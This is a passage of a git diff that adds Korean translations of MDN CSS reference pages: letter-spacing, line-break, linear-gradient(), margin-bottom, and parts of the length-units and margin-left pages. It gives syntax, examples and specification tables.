+&lt;/div&gt;</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">html {
+ font-family: sans-serif;
+ font-weight: bold;
+ box-sizing: border-box;
+}
+
+.outer {
+ width: 100%;
+ height: 50px;
+ background-color: #eee;
+ position: relative;
+}
+
+.inner {
+ height: 50px;
+ background-color: #999;
+ box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+ inset -3px -3px 5px rgba(0,0,0,0.5);
+}
+
+.result {
+ height: 20px;
+ background-color: #999;
+ box-shadow: inset 3px 3px 5px rgba(255,255,255,0.5),
+ inset -3px -3px 5px rgba(0,0,0,0.5);
+ background-color: orange;
+ display: flex;
+ align-items: center;
+ margin-top: 10px;
+}
+
+.result code {
+ position: absolute;
+ margin-left: 20px;
+}
+
+.results {
+ margin-top: 10px;
+}
+
+.input-container {
+ position: absolute;
+ display: flex;
+ justify-content: flex-start;
+ align-items: center;
+ height: 50px;
+}
+
+label {
+ margin: 0 10px 0 20px;
+}</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js notranslate">const inputDiv = document.querySelector('.inner');
+const inputElem = document.querySelector('input');
+const resultsDiv = document.querySelector('.results');
+
+inputElem.addEventListener('change', () =&gt; {
+ inputDiv.style.width = inputElem.value;
+
+ const result = document.createElement('div');
+ result.className = 'result';
+ result.style.width = inputElem.value;
+ result.innerHTML = `&lt;code&gt;너비: ${inputElem.value}&lt;/code&gt;`;
+ resultsDiv.appendChild(result);
+
+ inputElem.value = '';
+ inputElem.focus();
+})</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample('길이_단위_비교','100%', 700)}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Values', '#lengths', '&lt;length&gt;')}}</td>
+ <td>{{Spec2('CSS4 Values')}}</td>
+ <td>Adds the <code>vi</code>, <code>vb</code>, <code>ic</code>, <code>lh</code>, and <code>rlh</code> units.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Values', '#lengths', '&lt;length&gt;')}}</td>
+ <td>{{Spec2('CSS3 Values')}}</td>
+ <td>Adds the <code>ch</code>, <code>rem</code>, <code>vw</code>, <code>vh</code>, <code>vmin</code>, <code>vmax</code>, and <code>Q</code> units.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'syndata.html#length-units', '&lt;length&gt;')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Explicit definition of the <code>em</code>, <code>pt</code>, <code>pc</code>, and <code>px</code> units.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#length-units', '&lt;length&gt;')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition. Implicit definition of the <code>em</code>, <code>pt</code>, <code>pc</code>, and <code>px</code> units.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.types.length")}}</p>
diff --git a/files/ko/web/css/letter-spacing/index.html b/files/ko/web/css/letter-spacing/index.html
new file mode 100644
index 0000000000..4f7acc93f5
--- /dev/null
+++ b/files/ko/web/css/letter-spacing/index.html
@@ -0,0 +1,135 @@
+---
+title: letter-spacing
+slug: Web/CSS/letter-spacing
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+ - 글자 간격
+translation_of: Web/CSS/letter-spacing
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>letter-spacing</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 글자 사이의 간격을 조절합니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/letter-spacing.html")}}</div>
+
+
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush:css no-line-numbers">/* 키워드 값 */
+letter-spacing: normal;
+
+/* &lt;length&gt; 값 */
+letter-spacing: 0.3em;
+letter-spacing: 3px;
+letter-spacing: .3px;
+
+/* 전역 값 */
+letter-spacing: inherit;
+letter-spacing: initial;
+letter-spacing: unset;
+</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>현재 글꼴의 기본 간격. <code>0</code>과 달리, <code>auto</code>는 {{glossary("user agent", "사용자 에이전트")}}가 양쪽 정렬을 위해 간격을 임의로 조절할 수 있습니다.</dd>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>기본 간격에 <strong>추가</strong>할 글자간 간격. 음수 값을 지정할 수 있지만 구현에 따라 한계가 있을 수 있습니다. 사용자 에이전트가 간격을 줄이거나 늘리지 않습니다.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="normal"&gt;글자 간격&lt;/p&gt;
+&lt;p class="em-wide"&gt;글자 간격&lt;/p&gt;
+&lt;p class="em-wider"&gt;글자 간격&lt;/p&gt;
+&lt;p class="em-tight"&gt;글자 간격&lt;/p&gt;
+&lt;p class="px-wide"&gt;글자 간격&lt;/p&gt;
+</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.normal { letter-spacing: normal; }
+.em-wide { letter-spacing: 0.4em; }
+.em-wider { letter-spacing: 1em; }
+.em-tight { letter-spacing: -0.05em; }
+.px-wide { letter-spacing: 6px; }
+</pre>
+
+<h3 id="결과">결과</h3>
+
+<p>{{ EmbedLiveSample('예제', 440, 185) }}</p>
+
+<h2 id="접근성_고려사항">접근성 고려사항</h2>
+
+<p><code>letter-spacing</code> 값의 절댓값이 너무 크면 스타일을 적용한 글을 읽기 힘들어집니다. 지나치게 큰 값으로는 글자 간격이 지나치게 넓어져 단어를 이루지 못하고 따로 따로 보입니다. 반대로 지나친 음숫값은 글자가 서로 겹쳐 알아볼 수 없습니다.</p>
+
+<p>글꼴마다 문자의 너비가 다르므로 읽기에 용이한 간격은 상황에 따라 다릅니다. 모든 글꼴에 적합한 하나의 값은 존재하지 않습니다.</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Accessibility/Understanding_WCAG/Perceivable#Guideline_1.4_Make_it_easier_for_users_to_see_and_hear_content_including_separating_foreground_from_background">MDN Understanding WCAG, Guideline 1.4 explanations</a></li>
+ <li><a href="https://www.w3.org/TR/UNDERSTANDING-WCAG20/visual-audio-contrast-visual-presentation.html" rel="noopener">Understanding Success Criterion 1.4.8 | W3C Understanding WCAG 2.0</a></li>
+</ul>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#letter-spacing-property', 'letter-spacing')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'letter-spacing')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>letter-spacing</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'text.html#propdef-letter-spacing', 'letter-spacing')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>No change.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('SVG1.1', 'text.html#LetterSpacingProperty', 'letter-spacing')}}</td>
+ <td>{{Spec2('SVG1.1')}}</td>
+ <td>Initial SVG definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#letter-spacing', 'letter-spacing')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.letter-spacing")}}</p>
+
+<h2 id="See_also" name="See_also">같이 보기</h2>
+
+<ul>
+ <li>{{cssxref("font-kerning")}}</li>
+</ul>
diff --git a/files/ko/web/css/line-break/index.html b/files/ko/web/css/line-break/index.html
new file mode 100644
index 0000000000..76fabd4316
--- /dev/null
+++ b/files/ko/web/css/line-break/index.html
@@ -0,0 +1,112 @@
+---
+title: line-break
+slug: Web/CSS/line-break
+tags:
+ - CSS
+ - CSS Property
+ - CSS Text
+ - Reference
+ - i18n
+ - l10n
+ - 'recipe:css-property'
+translation_of: Web/CSS/line-break
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>line-break</code></strong> 속성은 한중일(CJK) 3개국어의 텍스트 줄을 어디서 바꿀지 지정합니다.</p>
+
+<pre class="brush:css no-line-numbers notranslate">/* 키워드 값 */
+line-break: auto;
+line-break: loose;
+line-break: normal;
+line-break: strict;
+line-break: anywhere;
+
+/* 전역 값 */
+line-break: inherit;
+line-break: initial;
+line-break: unset;
+</pre>
+
+<h2 id="구문">구문</h2>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>기본 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>loose</code></dt>
+ <dd>가장 자유로운 줄 바꿈 규칙을 사용합니다. 보통 신문 등 짧은 줄에서 사용합니다.</dd>
+ <dt><code>normal</code></dt>
+ <dd>가장 흔한 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>strict</code></dt>
+ <dd>가장 엄격한 줄 바꿈 규칙을 사용합니다.</dd>
+ <dt><code>anywhere</code></dt>
+ <dd>
+ <p>모든 타이포그래피 글자 단위 주위에서 줄을 바꿀 수 있습니다. 줄 바꿈 위치는 모든 문장 부호, 공백, 단어 중간을 포함하며 GL, WJ, ZWJ 문자 클래스가 나타내는 줄 바꿈 제한 및 {{cssxref("word-break")}}가 요구하는 규칙 모두 무시할 수 있습니다. 붙임표는 사용하지 않습니다.</p>
+ </dd>
+</dl>
+
+<h2 id="형식_정의">형식 정의</h2>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="형식_구문">형식 구문</h2>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="줄_바꿈_지정하기">줄 바꿈 지정하기</h3>
+
+<p>줄 바꿈이 "々", "ぁ", "。"의 주위에서 어떻게 발생하는지 살펴보세요.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html notranslate">&lt;div lang="ja"&gt;
+  &lt;p class="wrapbox auto"&gt;auto:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox loose"&gt;loose:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox normal"&gt;normal:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox strict"&gt;strict:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+  &lt;p class="wrapbox anywhere"&gt;anywhere:&lt;br&gt;そこは湖のほとりで木々が輝いていた。&lt;br&gt;その景色に、美しいなぁと思わずつぶやいた。&lt;/p&gt;
+&lt;/div&gt;
+</pre>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css notranslate">.wrapbox { width: 10em; margin: 0.5em; white-space: normal; vertical-align: top; display: inline-block; }
+.auto { line-break: auto; }
+.loose { line-break: loose; }
+.normal { line-break: normal; }
+.strict { line-break: strict; }
+.anywhere { line-break: anywhere; }
+</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{ EmbedLiveSample('줄_바꿈_지정하기', 200, 400) }}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Text', '#line-break-property', 'line-break')}}</td>
+ <td>{{Spec2('CSS3 Text')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.line-break")}}</p>
diff --git a/files/ko/web/css/linear-gradient()/index.html b/files/ko/web/css/linear-gradient()/index.html
new file mode 100644
index 0000000000..74635f0434
--- /dev/null
+++ b/files/ko/web/css/linear-gradient()/index.html
@@ -0,0 +1,204 @@
+---
+title: linear-gradient
+slug: Web/CSS/linear-gradient()
+tags:
+ - CSS
+ - CSS Function
+ - CSS Images
+ - Graphics
+ - Layout
+ - Reference
+ - Web
+ - gradient
+ - 그라데이션
+ - 그레이디언트
+translation_of: Web/CSS/linear-gradient()
+---
+<div>{{CSSRef}}</div>
+
+<p><a href="/ko/docs/Web/CSS">CSS</a> <strong><code>linear-gradient()</code></strong> 함수는 두 개 이상의 색이 직선을 따라 점진적으로 변화하는 이미지를 생성합니다. 함수의 결과는 {{cssxref("&lt;image&gt;")}}의 특별한 종류인 {{cssxref("&lt;gradient&gt;")}} 자료형입니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/function-linear-gradient.html")}}</div>
+
+<div class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request.</div>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">/* 45도로 기울어진 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(45deg, blue, red);
+
+/* 우하단에서 좌상단으로, 파랑 시작 빨강 종료 그레이디언트 */
+linear-gradient(to left top, blue, red);
+
+/* 색상 정지점: 아래에서 위로,
+ 파랑에서 시작해 길이의 40%에서 초록으로,
+ 빨강 종료 그레이디언트 */
+linear-gradient(0deg, blue, green 40%, red);
+
+/* 색상 힌트: 왼쪽에서 오른쪽으로,
+ 빨강에서 시작해 길이의 10% 지점에서 중간 색상으로,
+ 나머지 90% 길이 동안 파랑으로 변하는 그레이디언트 */
+linear-gradient(.25turn, red, 10%, blue);
+
+/* 다중 위치 색상 정지점: 45도 기울어진,
+ 좌하단 절반 빨강, 우상단 파랑 절반에
+ 두 색이 만나는 지점을 정확히 나누는 그레이디언트 */
+linear-gradient(45deg, red 0 50%, blue 50% 100%);</pre>
+
+<h3 id="값">값</h3>
+
+<dl>
+ <dt><code>&lt;side-or-corner&gt;</code></dt>
+ <dd>그레이디언트 축의 시작점. 지정할 경우, <code>to</code> 이후 최대 두 개의 방향을 나타내는 키워드를 사용할 수 있습니다. 하나는 수평 방향(<code style="font-size: 14px;">left</code> 또는 <code>right</code>)이고, 다른 하나는 수직 방향(<code>top</code> 또는 <code>bottom</code>)입니다. 방향 키워드의 순서는 상관하지 않으며, 기본값은 <code>to bottom</code>입니다.</dd>
+ <dd><code>to top</code>, <code>to bottom</code>, <code>to left</code>, <code>to right</code> 값은 <code>0deg</code>, <code>180deg</code>, <code>270deg</code>, <code>90deg</code>와 같습니다. 나머지 값은 각도로 변환됩니다.</dd>
+ <dt>{{cssxref("&lt;angle&gt;")}}</dt>
+ <dd>그레이디언트 축의 방향. <code>0deg</code>는 <code>to top</code>과 같습니다. 0 이상의 값을 지정하면 축이 시계방향으로 돌아갑니다.</dd>
+ <dt><code>&lt;linear-color-stop&gt;</code></dt>
+ <dd>색상 정지점의 {{CSSxRef("&lt;color&gt;")}} 값과 하나 혹은 두 개의 선택적인 정지점 위치. (각각 그레이디언트 축 위의 {{cssxref("&lt;percentage&gt;")}} 또는 {{CSSxRef("&lt;length&gt;")}})</dd>
+ <dt><code>&lt;color-hint&gt;</code></dt>
+ <dd><code>color-hint</code>는 두 인접한 색상 정지점 사이에서 그레이디언트가 진행하는 방식을 지정하는 보간 힌트입니다. 길이는 두 정지점 간의 길이에서 어느 지점에 그 중간 색에 도달해야 하는지 지정합니다. 생략할 경우 가운데에서 중간 색에 도달합니다.</dd>
+ <dd>
+ <div class="note">
+ <p><strong>참고:</strong> <a href="#다중_위치_색상_정지점을_가진_그레이디언트">CSS 그레이디언트에서의 색상 정지점 렌더링</a>은 <a href="/ko/docs/Web/SVG/Tutorial/Gradients">SVG 그레이디언트</a>에서의 색상 정지점과 동일한 규칙을 따라갑니다.</p>
+ </div>
+ </dd>
+</dl>
+
+<h2 id="설명">설명</h2>
+
+<p>다른 그레이디언트와 마찬가지로, 선형 그레이디언트는 본질 크기를 가지지 않습니다. 즉 기본 크기나 선호 크기, 선호 비율이 없으며, 실제 크기는 그레이디언트를 적용한 요소의 크기와 동일해집니다.</p>
+
+<p>반복하여 컨테이너를 채우는 선형 그레이디언트가 필요하면 {{cssxref("repeating-linear-gradient")}} 함수를 사용하세요.</p>
+
+<p><code>&lt;gradient&gt;</code>는 <code>&lt;image&gt;</code>의 한 종류로서 <code>&lt;image&gt;</code>를 사용하는 곳에만 적용할 수 있습니다. 따라서 <code>linear-gradient()</code>는 {{cssxref("background-color")}}와 같은 {{cssxref("&lt;color&gt;")}} 자료형을 받는 속성에는 사용할 수 없습니다.</p>
+
+<h3 id="선형_그레이디언트의_구성">선형 그레이디언트의 구성</h3>
+
+<p>선형 그레이디언트는 하나의 축(그레이디언트 라인)과 두 개 이상의 색상 정지점으로 정의할 수 있습니다. 축 위의 점은 모두 고유한 색을 가집니다. <code>linear-gradient()</code> 함수는 부드러운 그레이디언트를 만들기 위해 축과 직교하는 무수한 선을 그리며, 각 수직선의 색은 축과 교차하는 점의 색과 일치합니다.</p>
+
+<p><img alt="linear-gradient.png" src="/files/3537/linear-gradient.png" style="float: left; font-size: 13.63636302948px; height: 383px; line-height: 19.0909080505371px; width: 309px;">그레이디언트 축은 그레이디언트 이미지를 담은 직사각형의 중심점과 각도로 정의할 수 있습니다. 그레이디언트 색상은 시작점과 종료점, 그리고 그 사이의 다른 정지점 등 두 개 이상의 색상 정지점이 정의합니다.</p>
+
+<p>시작점은 그레이디언트 축의 한 점으로, 첫 번째 색상이 시작하는 지점입니다. 종료점은 마지막 색상이 끝나는 지점입니다. 두 점은 직사각형에서 자신과 같은 사분면에 위치하는 꼭지점으로부터 시작하여 그레이디언트 축과 직교하는 지점으로 정의합니다. 종료점은 시작점의 대칭점으로 간단하게 알아둘 수도 있습니다. 이렇게 다소 복잡한 정의로 인해, 시작점과 가장 가까운 꼭지점이 시작점의 색을, 종료점과 가장 가까운 꼭지점이 종료점의 색을 갖는 특이한 효과를 확인할 수도 있습니다. 이 효과는 "매직 코너"라고 불리기도 합니다.</p>
+
+<h4 id="그레이디언트_만들기">그레이디언트 만들기</h4>
+
+<p>그레이디언트 축에 색상 정지점을 더 추가하여, 다양한 색 사이로 전환하는, 고도로 맞춤화한 그레이디언트를 만들 수 있습니다. 색상 정지점의 위치는 {{cssxref("&lt;length&gt;")}}나 {{cssxref("&lt;percentage&gt;")}}를 사용해 명시적으로 지정할 수 있습니다. 따로 위치를 정하지 않으면 이전 정지점과 다음 정지점의 중간 지점에 위치합니다. 다음 두 그레이디언트는 동일합니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red, orange, yellow, green, blue);
+linear-gradient(red 0%, orange 25%, yellow 50%, green 75%, blue 100%);</pre>
+
+<p>기본적으로 그레이디언트에서 색상 전환은 하나의 색상 정지점에서 다른 색상 정지점으로 부드럽게 일어나고, 가운데 지점은 두 색상의 사이값을 가집니다. 그러나 두 색의 사이에 색상 힌트를 넣어서 직접 색의 중간 지점을 정할 수도 있습니다. 다음 예제의 그레이디언트는 시작점에서 10% 지점까지 완전한 빨강이고, 90% 지점까지는 빨강에서 파랑으로 서서히 전환하며, 마지막 10%는 완전한 파랑입니다. 그러나 빨강과 파랑 사이 전환의 중간 지점은 50%가 아닌 30% 지점이 됩니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 10%, 30%, blue 90%);</pre>
+
+<p>두 개 이상의 색상 정지점을 같은 위치에 배치하면 부드럽게 전환하는 대신 이전 색과 다음 색이 경계선을 그리며 바로 바뀝니다.</p>
+
+<p>색상 정지점의 순서는 오름차순이어야 합니다. 다음 정지점의 위치가 이전 정지점보다 앞이면, 이전 정지점의 위치를 재설정하고 색 전환도 경계선을 그리며 일어납니다. 다음 그레이디언트는 30% 지점에서 빨강에서 노랑으로 바뀌고, 65% 지점까지 파랑으로 전환합니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 40%, yellow 30%, blue 65%);
+</pre>
+
+<p>색상 정지점이 여러 위치를 가질 수도 있습니다. 색상을 선언할 때 인접한 두 정지점의 위치를 모두 포함할 수 있습니다. 다음 세 그레이디언트는 모두 같습니다.</p>
+
+<pre class="brush: css notranslate">linear-gradient(red 0%, orange 10%, orange 30%, yellow 50%, yellow 70%, green 90%, green 100%);
+linear-gradient(red, orange 10% 30%, yellow 50% 70%, green 90%);
+linear-gradient(red 0%, orange 10% 30%, yellow 50% 70%, green 90% 100%);</pre>
+
+<p>기본적으로, 0% 지점에 색을 할당하지 않으면 처음으로 선언한 색이 0%에 배치됩니다. 비슷하게 100% 지점에 색이 없는 경우 마지막 색이 100% 지점까지 도달합니다.</p>
+
+<h2 id="예제">예제</h2>
+
+<h3 id="45도_기울어진_그레이디언트">45도 기울어진 그레이디언트</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+ width: 100vw;
+ height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+ background: linear-gradient(45deg, red, blue);
+}
+</pre>
+
+<p>{{EmbedLiveSample("45도_기울어진_그레이디언트", 120, 120)}}</p>
+
+<h3 id="축의_60_지점에서_시작하는_그레이디언트">축의 60% 지점에서 시작하는 그레이디언트</h3>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+ width: 100vw;
+ height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+ background: linear-gradient(135deg, orange 60%, cyan);
+}</pre>
+
+<p>{{EmbedLiveSample("축의_60_지점에서_시작하는_그레이디언트", 120, 120)}}</p>
+
+<h3 id="다중_위치_색상_정지점을_가진_그레이디언트">다중 위치 색상 정지점을 가진 그레이디언트</h3>
+
+<p>이 예제는 다중 위치 색상 정지점을 사용하면서, 인접한 색상 정지점의 위치를 같게 하여 줄무늬 효과를 냅니다.</p>
+
+<div class="hidden">
+<pre class="brush: css notranslate">body {
+ width: 100vw;
+ height: 100vh;
+}</pre>
+</div>
+
+<pre class="brush: css notranslate">body {
+ background: linear-gradient(to right,
+ red 20%, orange 20% 40%, yellow 40% 60%, green 60% 80%, blue 80%);
+}</pre>
+
+<p>{{EmbedLiveSample("다중_위치_색상_정지점을_가진_그레이디언트", 120, 120)}}</p>
+
+<h3 id="더_많은_예제">더 많은 예제</h3>
+
+<p><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a> 문서에서 더 많은 예제를 확인하세요.</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS4 Images', '#color-stop-syntax', 'Gradient Color-Stops')}}</td>
+ <td>{{Spec2('CSS4 Images')}}</td>
+ <td>Adds interpolation hints.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Images', '#linear-gradients', 'linear-gradient()')}}</td>
+ <td>{{Spec2('CSS3 Images')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<div>{{Compat("css.types.image.gradient.linear-gradient")}}</div>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="/ko/docs/Web/CSS/CSS_Images/Using_CSS_gradients">CSS 그레이디언트 사용하기</a></li>
+ <li>다른 그레이디언트 함수: {{CSSxRef("repeating-linear-gradient")}}, {{CSSxRef("radial-gradient")}}, {{CSSxRef("repeating-radial-gradient")}}, {{CSSxRef("conic-gradient")}}, {{CSSxRef("repeating-conic-gradient")}}</li>
+ <li>{{CSSxRef("&lt;image&gt;")}}</li>
+ <li>{{cssxref("element()")}}</li>
+ <li>{{cssxref("_image","image()")}}</li>
+ <li>{{cssxref("image-set","image-set()")}}</li>
+ <li>{{cssxref("cross-fade")}}</li>
+</ul>
diff --git a/files/ko/web/css/margin-bottom/index.html b/files/ko/web/css/margin-bottom/index.html
new file mode 100644
index 0000000000..f374be0438
--- /dev/null
+++ b/files/ko/web/css/margin-bottom/index.html
@@ -0,0 +1,100 @@
+---
+title: margin-bottom
+slug: Web/CSS/margin-bottom
+tags:
+ - CSS
+ - CSS Property
+ - Reference
+translation_of: Web/CSS/margin-bottom
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-bottom</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 아래쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-bottom.html")}}</div>
+
+
+
+<p>{{HTMLElement("span")}}, {{HTMLElement("code")}} 등 <a href="/ko/docs/Web/CSS/Replaced_element">비대체</a><sup>non-replaced</sup> 인라인 요소에는 효과가 없습니다.</p>
+
+<h2 id="Syntax" name="Syntax">구문</h2>
+
+<pre class="brush: css">/* &lt;length&gt; 값 */
+margin-bottom: 10px; /* 절대 길이 */
+margin-bottom: 1em; /* 글씨 크기에 상대적 */
+margin-bottom: 5%; /* 가장 가까운 블록 컨테이너의 너비에 상대적 */
+
+/* 키워드 값 */
+margin-bottom: auto;
+
+/* 전역 값 */
+margin-bottom: inherit;
+margin-bottom: initial;
+margin-bottom: unset;</pre>
+
+<p><code>margin-bottom</code> 속성은 키워드 <code>auto</code>, <code>&lt;length&gt;</code>, <code>&lt;percentage&gt;</code>를 사용해 설정할 수 있습니다. 값은 양수, 0, 음수가 가능합니다.</p>
+
+<h3 id="Values" name="Values">값</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;length&gt;")}}</dt>
+ <dd>바깥 여백 크기의 고정 값.</dd>
+ <dt>{{cssxref("&lt;percentage&gt;")}}</dt>
+ <dd>바깥 여백 크기와 블록 컨테이너 너비의 비율.</dd>
+ <dt><code>auto</code></dt>
+ <dd>브라우저가 적절한 값 선택. {{cssxref("margin")}}을 참고하세요.</dd>
+</dl>
+
+<h3 id="형식_구문">형식 구문</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Examples" name="Examples">예제</h2>
+
+<pre class="brush:css;">.content { margin-bottom: 5%; }
+.sidebox { margin-bottom: 10px; }
+.logo { margin-bottom: -5px; }
+#footer { margin-bottom: 1em; }
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSS3 Box', '#the-margin', 'margin-bottom')}}</td>
+ <td>{{Spec2('CSS3 Box')}}</td>
+ <td>No significant change</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS3 Transitions', '#animatable-css', 'margin-bottom')}}</td>
+ <td>{{Spec2('CSS3 Transitions')}}</td>
+ <td>Defines <code>margin-bottom</code> as animatable.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS2.1', 'box.html#margin-properties', 'margin-bottom')}}</td>
+ <td>{{Spec2('CSS2.1')}}</td>
+ <td>Removes its effect on inline elements.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('CSS1', '#margin-bottom', 'margin-bottom')}}</td>
+ <td>{{Spec2('CSS1')}}</td>
+ <td>Initial definition</td>
+ </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("css.properties.margin-bottom")}}</p>
diff --git a/files/ko/web/css/margin-left/index.html b/files/ko/web/css/margin-left/index.html
new file mode 100644
index 0000000000..9e1d9b9953
--- /dev/null
+++ b/files/ko/web/css/margin-left/index.html
@@ -0,0 +1,160 @@
+---
+title: margin-left
+slug: Web/CSS/margin-left
+tags:
+ - CSS
+ - CSS Property
+ - Layout
+ - Reference
+translation_of: Web/CSS/margin-left
+---
+<div>{{CSSRef}}</div>
+
+<p><strong><code>margin-left</code></strong> <a href="/ko/docs/Web/CSS">CSS</a> 속성은 요소의 왼쪽에 <a href="/ko/docs/Web/CSS/CSS_Box_Model/Introduction_to_the_CSS_box_model">바깥 여백 영역</a><sup>margin area</sup>을 설정합니다. 양수 값은 인접 요소와 거리를 넓히고, 음수 값은 더 좁힙니다.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/margin-left.html")}}</div>
+
+
+
